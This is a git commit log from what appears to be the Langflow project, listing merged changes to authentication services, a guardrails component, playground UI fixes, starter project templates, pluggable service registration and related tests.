* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* [autofix.ci] apply automated fixes

* replace jose with pyjwt

* [autofix.ci] apply automated fixes

* starter projects

* fix BE mcp tests

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* remive legacy usage of session

* fix user tests

* [autofix.ci] apply automated fixes

* fix lfx tests

* starter project update

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* fix mypy errors

* fix mypy errors on tests

* fix tests for decrypt_api_key

* resolve conflicts in auth utils

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Add pluggable authentication factory with provider enum

* Add SSO feature flags to AuthSettings

* Add SSO fields to User model

* Add SSO configuration loader with YAML support

* Add unit tests for SSO configuration loader

* Add SSO configuration database model and CRUD operations

* Add CRUD operations for SSO configuration management

* Add SSO configuration service supporting both file and database configs

* Add example SSO configuration file with W3ID and other providers

* Implement OIDC authentication service with discovery and JIT provisioning

* Update AuthServiceFactory to instantiate OIDC service when SSO enabled

* Improve JWT token validation and API key decryption error handling

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix: resolve ruff linting errors in auth services and add sso-config.yaml to gitignore

* [autofix.ci] apply automated fixes

* fix: use correct function name get_current_user_from_access_token in login endpoint

* fix: remove incorrect settings_service parameter from decrypt_api_key call

* fix: correct encryption logic to properly detect plaintext vs encrypted values

* [autofix.ci] apply automated fixes

* fix tests

* [autofix.ci] apply automated fixes

* fix mypy errors

* fix tests

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests in service

* [autofix.ci] apply automated fixes

* fix test security cors

* [autofix.ci] apply automated fixes

* fix webhook issues

* modify component index

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* fix webhook tests

* [autofix.ci] apply automated fixes

* build component index

* remove SSO functionality

* [autofix.ci] apply automated fixes

* fix variable creation

* [autofix.ci] apply automated fixes

* refactor: move MCPServerConfig schema to a separate file and update model_dump usage

* refactor: streamline AuthServiceFactory to use service_class for instance creation

* handle access token type

* [autofix.ci] apply automated fixes

* remove SSO fields from user model

* [autofix.ci] apply automated fixes

* replace is_encrypted back

* fix mypy errors

* remove sso config example

* feat: Refactor framework agnostic auth service (#11565)

* modify auth service layer

* [autofix.ci] apply automated fixes

* fix ruff errorrs

* [autofix.ci] apply automated fixes

* Update src/backend/base/langflow/services/deps.py



* address review comments

* [autofix.ci] apply automated fixes

* fix ruff errors

* remove cache

---------




* move base to lfx

* [autofix.ci] apply automated fixes

* resolve review comments

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* add auth protocol

* [autofix.ci] apply automated fixes

* revert models.py execption handling

* revert wrappers to ensure backwards compatibility

* fix http error code

* fix FE tests

* fix test_variables.py

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests

* add wrappers for create token methods

* fix ruff errors

* [autofix.ci] apply automated fixes

* update error message

* modify status code for inactive user

* fix ruff errors

* fix patch for webhook tests

* fix error message when getting active users

---------

Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>

* fix: adjusted textarea and playground paddings and design (#11635)

* revert textarea to old classes

* fixed text-area-wrapper to handle initial height when value is calculated

* fixed playground padding

* fixed no input text size

* [autofix.ci] apply automated fixes

* fixed flaky test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* feat: create guardrails component (#11451) (#11671)

* Create guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Update guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* tests: add unit tests for GuardrailsComponent functionality

* [autofix.ci] apply automated fixes

* fix: resolve linting errors in GuardrailsComponent and tests

- Fix line length issues (E501) by breaking long strings
- Fix docstring formatting (D205, D415) in _check_guardrail
- Use ternary operator for response content extraction (SIM108)
- Replace magic value with named constant (PLR2004)
- Move return to else block per try/except best practices (TRY300)
- Catch specific exceptions instead of blind Exception (BLE001)
- Use list comprehension for checks_to_run (PERF401)
- Mark unused variables with underscore prefix (RUF059, F841)
- Add noqa comment for intentionally unused mock argument (ARG002)

* [autofix.ci] apply automated fixes

* refactor: address pr comments

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes

* feat: enhance heuristic detection with configurable threshold and scoring system

* refactor: simplify heuristic test assertions by removing unused variable

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* feat: enhance guardrail validation logic and input handling

* refactor: streamline import statements and clean up whitespace in guardrails component

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: update empty input handling tests to raise ValueError and refactor related assertions

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* feat: add Guardrails component with unit tests

Add LLM-based guardrails component for detecting PII, tokens/passwords,
jailbreak attempts, and custom guardrail rules, along with comprehensive
unit tests.

* [autofix.ci] apply automated fixes

* fix: try removing logs

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: added remove file from file input (#11667)

* Implemented dismiss file functionality on input file component

* fixed hover behavior

* added test for removing file from input

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make connected inputs not hideable (#11672)

* fixed react flow utils to clean advanced edges

* Make connected handles not be able to be hidden

* Added test for hiding connected handles

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make tooltip not appear when closing SessionMore (#11703)

fix tooltip showing up when closing select

* fix(frontend): prevent multiple session menus from stacking in fullscreen mode

* [autofix.ci] apply automated fixes

* fix(frontend): prevent crash when renaming empty sessions (#11712)

* fix(frontend): prevent crash when renaming empty sessions

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(ci): handle PEP 440 normalized versions in pre-release tag script (#11722)

The regex in langflow_pre_release_tag.py expected a dot before `rc`
(e.g. `1.8.0.rc0`), but PyPI returns PEP 440-normalized versions
without the dot (e.g. `1.8.0rc0`). This caused the script to recompute
the same version instead of incrementing, and `uv publish` silently
skipped the duplicate upload.

Update the regex to accept both formats with `\.?rc`.

* fix: align chat history with input field in fullscreen playground (#11725)

* fix: align chat history with input field in fullscreen playground

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: Enforce Webhook singleton rule on paste and duplicate                                                                         (#11692)

* fix singleton webhook on flow

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(frontend): generate unique variable names in Prompt Template Add Variable button (#11723)

* fix: generate unique variable names in Prompt Template Add Variable button

Previously, clicking the Add Variable button always inserted {variable_name},
causing duplicate text without creating new input fields. Now the button
generates incremental names (variable_name, variable_name_1, variable_name_2)
by checking existing variables in the template.

* refactor: extract generateUniqueVariableName and import in tests

Extract the variable name generation logic into an exported function
so tests can import and validate the actual production code instead
of testing a duplicated copy of the logic.

* FIX: Broken Connection Edge Rendering in YouTube Analysis Template (#11709)

add edge between components

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix: parse dicts from tweaks (#11753)

* Correctly parse dicts from tweaks

* Add test

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: sessions overflow issue (#11739)

fix: sessions overflow issue

* feat: playground UI fixes, inspector improvements & canvas reorganization (#11751)

* merge fix

* code improvements

* [autofix.ci] apply automated fixes

* add stop button and fix scroll on message

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix tests until shard 43

* [autofix.ci] apply automated fixes

* fix(frontend): clean up MemoizedSidebarTrigger imports and transition classes

Sort imports, add type modifier to AllNodeType import, and split long transition class string for readability.

* fix tests

* [autofix.ci] apply automated fixes

* fix mr test

* fix jest tests

* fix sidebar jest tes

* [autofix.ci] apply automated fixes

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix sharable playground

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix tests

* fix outaded component tests

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: keval shah <kevalvirat@gmail.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>

* fix: correct field_order in all starter project JSON templates (#11727)

* fix: correct field_order in all starter project JSON templates

The field_order arrays in starter project nodes were out of sync with
the actual input definitions in the Python component source files,
causing parameters to display in the wrong order in the UI.

Fixed 136 nodes across 32 starter project files including Chat Input,
Chat Output, Language Model, Agent, Prompt Template, Text Input,
Tavily AI Search, Read File, Embedding Model, and others.

* test: add field_order validation test for starter projects

Verifies that field_order arrays in starter project JSONs match the
actual component input order by importing each component and comparing
the relative ordering of fields.

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix: enforce full field_order in starter projects and add node overlap test

Update all starter project JSONs to include the complete component
field_order instead of a subset, preventing layout inconsistency
between template and sidebar. Strengthen the field_order test to
require an exact match and add a new test that verifies no two
generic nodes overlap on the canvas.

---------

Co-authored-by: cristhianzl <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: dict tweak parsing (#11756)

* Fix dict handling of different formats

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* cmp index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* Fix: The Prompt component has responsiveness issues (#11713)

improve styling of templete input

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* clear session on delete chat

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Google Generative AI model catalog update (#11735)

* fix: Filter out MCP and models_and_agents categories and MCPTools component from sidebar (#11513)

* fix: hide MCP tool from model & agent

* fix: removing mcp searching

* fix testcases

* fix testcases

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>

* fix: Fix flaky Market Research test timeout on CI  (#11665)

* add wait for statement to prevent race condition

* fix flaky global variable

* add input selection

* [autofix.ci] apply automated fixes

* add disable inspect panel util

* [autofix.ci] apply automated fixes

* fix vector store test

* [autofix.ci] apply automated fixes

* use disable inspect pannel utils

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* ci: make docs deployment manual-only (#11602)

feat: update GitHub Actions workflow to allow manual branch selection for docs deployment

* fix: handle missing capabilities in Ollama API response (#11603)

* fix: handle missing capabilities in Ollama API response

Older Ollama versions don't return the `capabilities` field from
`/api/show`. The previous code defaulted to an empty list and required
"completion" capability, filtering out all models.

Now we treat missing capabilities as backwards-compatible: assume the
model supports completion unless tool_model_enabled is True (where we
can't verify tool support without the capabilities field).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* test: add test cases for Ollama backwards compatibility fix

Add tests for get_models handling of missing capabilities field:
- test_get_models_missing_capabilities_without_tool_model
- test_get_models_missing_capabilities_with_tool_model
- test_get_models_mixed_capabilities_response

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* fix: wrap long docstring line to satisfy ruff E501

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* docs: draft hide internal endpoints in spec (#11469)

* test-hide-internal-endpoints

* hide-more-endpoints

* display-mcp-endpoints

* display-mcp-projects

* add-back-health-check

---------

Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>

* feat: update opensearch component with raw search component (#11491)

* Update opensearch_multimodal.py

* [autofix.ci] apply automated fixes

* Update opensearch_multimodal.py

* Skip existing knn_vector mapping & handle errors

Before adding a knn_vector field mapping, check the index properties and skip updating if the field already exists (and warn if dimensions differ). Attempt to add the mapping only when missing, and catch failures from the OpenSearch k-NN plugin (e.g. NullPointerException); in that known case log a warning and skip the mapping update instead of failing hard. After adding, verify the field is mapped as knn_vector and raise an error if it is not. Also adjusts logging messages to be clearer.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(test): Skip Tavily API key fill when global variable is loaded                                                          (#11733)

* update Google models

* [autofix.ci] apply automated fixes

* update tests

* mark deprecated

* build component index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>

* fix: mock clearSessionMessages (#11776)

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: Misleading Empty State when no Folders (#11728)

* fix: Misleading Empty State when no Folders

now once all folders are deleted we show the default create first flow state

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Resolve Windows PostgreSQL event loop incompatibility (#11767)

* fix windows integrations with postgres

* add documentation

* cross platform validation

* [autofix.ci] apply automated fixes

* ruff style and checker

* fix import ruff

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: Legacy "Store" Reference in Flows Empty State (#11721)

* fix: Legacy "Store" Reference in Flows Empty State

on delete propigate changes to useFlowsManagerStore to cause re-render in HomePage

* test: fix shard 45 flaky mcp test

Hopefully fix [WebServer] bash: line 1: exec: uvx mcp-server-fetch: not found

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* Fix: UI Bug: "Lock Flow" Toggle in Export Modal is Non-Functional (#11724)

* fix locked component during export

* added locked flag to flow doc

* new testcases

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: dropdown delete icon hover visibility (#11774)

fix hidden delete button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: resolve Safari scroll jitter in playground chat views (#11769)

* fix: resolve Safari scroll jitter in playground chat views

Switch StickToBottom resize mode to instant and add a Safari-specific
scroll fix that prevents unnatural jumps while preserving stick-to-bottom
behavior.

* [autofix.ci] apply automated fixes

* fix: add useStickToBottomContext mock to shareable playground tests

* refactor: improve SafariScrollFix reliability and maintainability

- Split into guard/inner components to avoid hooks on non-Safari browsers
- Extract magic numbers into named constants with documentation
- Convert touchStartY closure variable to useRef for proper session scoping
- Remove stopScrollRef indirection, use stopScroll directly in effect deps

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

* fix: Obsolete "Component Share" shortcut listed in Shortcuts menu (#11775)

remove component share from doc

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix(frontend): add UI feedback for self-deactivation prevention (#11772)

* fix(frontend): add UI feedback for self-deactivation prevention

Disable the Active checkbox with a tooltip when users try to deactivate
their own account. This provides clear UI feedback instead of relying
solely on the backend 403 error. Protection is added in both the Admin
page table view and the user edit modal.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* fix(frontend): preserve sticky note dimensions when importing via canvas drop (#11770)

* fix(frontend): preserve sticky note dimensions when importing via canvas drop

When dragging a JSON file onto the canvas, the paste function now
preserves width and height properties from the original nodes,
ensuring sticky notes retain their custom dimensions.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test


---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* rollback playground, inspection panel and shareable playground

* fix: Close button auto-focus creates visual distraction in SaveChanges and FlowLogs modal (#11763)

fix autofocus on close button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Outdated Instructional Notes and Provider-Specific Branding (#11680)

* fix: improved note guide for language models nots and Need search

* missing starter projects added

* ensured main flows fit are of standard

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle (#11777)

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(frontend): prevent deleted session messages from reappearing in new session (#11801)

* fix(frontend): prevent deleted session messages from reappearing in new sessions

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* chore: add secert base update

* chore: regenerate package-lock.json

* fix: add clean_output to field_order in SplitText starter project templates (#11842)

---------

Co-authored-by: Himavarsha <40851462+HimavarshaVS@users.noreply.github.com>
Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Viktor Avelino <64113566+viktoravelino@users.noreply.github.com>
Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: Keval718 <kevalvirat@gmail.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>
Co-authored-by: Adam-Aghili <149833988+Adam-Aghili@users.noreply.github.com>
Co-authored-by: Adam Aghili <Adam.Aghili@ibm.com>
github-merge-queue bot pushed a commit that referenced this pull request Feb 24, 2026
* feat: Pluggable AuthService with abstract base class (#10702) (#11654)

feat(auth): Pluggable AuthService with abstract base class (#10702)

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Implement VariableService for managing environment variables

- Introduced VariableService class to handle environment variables with in-memory caching.
- Added methods for getting, setting, deleting, and listing variables.
- Included logging for service initialization and variable operations.
- Created an __init__.py file to expose VariableService in the package namespace.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* feat: Implement telemetry service with abstract base class and minimal logging functionality

- Added `BaseTelemetryService` as an abstract base class defining the interface for telemetry services.
- Introduced `TelemetryService`, a lightweight implementation that logs telemetry events without sending data.
- Created `__init__.py` to expose the telemetry service in the package namespace.
- Ensured robust async methods for logging various telemetry events and handling exceptions.

* feat: Introduce BaseTracingService and implement minimal TracingService

- Added `BaseTracingService` as an abstract base class defining the interface for tracing services.
- Implemented `TracingService`, a lightweight version that logs trace events without external integrations.
- Included async methods for starting and ending traces, tracing components, and managing logs and outputs.
- Enhanced documentation for clarity on method usage and parameters.

* feat: Add unit tests for service registration decorators

- Introduced a new test suite for validating the functionality of the @register_service decorator.
- Implemented tests for various service types including LocalStorageService, TelemetryService, and TracingService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Included tests for custom service implementations and preservation of class functionality.
- Enhanced overall test coverage for the service registration mechanism.

* feat: Add comprehensive unit and integration tests for ServiceManager

- Introduced a suite of unit tests covering edge cases for service registration, lifecycle management, and dependency resolution.
- Implemented integration tests to validate service loading from configuration files and environment variables.
- Enhanced test coverage for various service types including LocalStorageService, TelemetryService, and VariableService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Ensured robust handling of error conditions and edge cases in service creation and configuration parsing.

* feat: Add unit and integration tests for minimal service implementations

- Introduced comprehensive unit tests for LocalStorageService, TelemetryService, TracingService, and VariableService.
- Implemented integration tests to validate the interaction between minimal services.
- Ensured robust coverage for file operations, service readiness, and exception handling.
- Enhanced documentation within tests for clarity on functionality and expected behavior.

* docs: Add detailed documentation for pluggable services architecture and usage

* feat: Add example configuration file for Langflow services

* docs: Update PLUGGABLE_SERVICES.md to enhance architecture benefits section

- Revised the documentation to highlight the advantages of the pluggable service system.
- Replaced the migration guide with a detailed overview of features such as automatic discovery, lazy instantiation, dependency injection, and lifecycle management.
- Clarified examples of service registration and improved overall documentation for better understanding.

* [autofix.ci] apply automated fixes

* test(services): improve variable service teardown test with public API assertions

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* fix: remove duplicate teardown method from LocalStorageService

During rebase, the teardown method was added in two locations (lines 57 and 220).
Removed the duplicate at line 57, keeping the one at the end of the class (line 220)
which is the more appropriate location for cleanup methods.

* fix(tests): update service tests for LocalStorageService constructor changes

- Add MockSessionService fixtures to test files that use ServiceManager
- Update LocalStorageService test instantiation to use mock session and settings services
- Fix service count assertions to account for MockSessionService in fixtures
- Remove duplicate class-level clean_manager fixtures in test_edge_cases.py

These changes fix test failures caused by LocalStorageService requiring
session_service and settings_service parameters instead of just data_dir.

* fix(services): Harden service lifecycle methods

- Fixed Diamond Inheritance in LocalStorageService
- Added Circular Dependency Detection in _create_service_from_class
- Fixed StorageService.teardown to Have Default Implementation

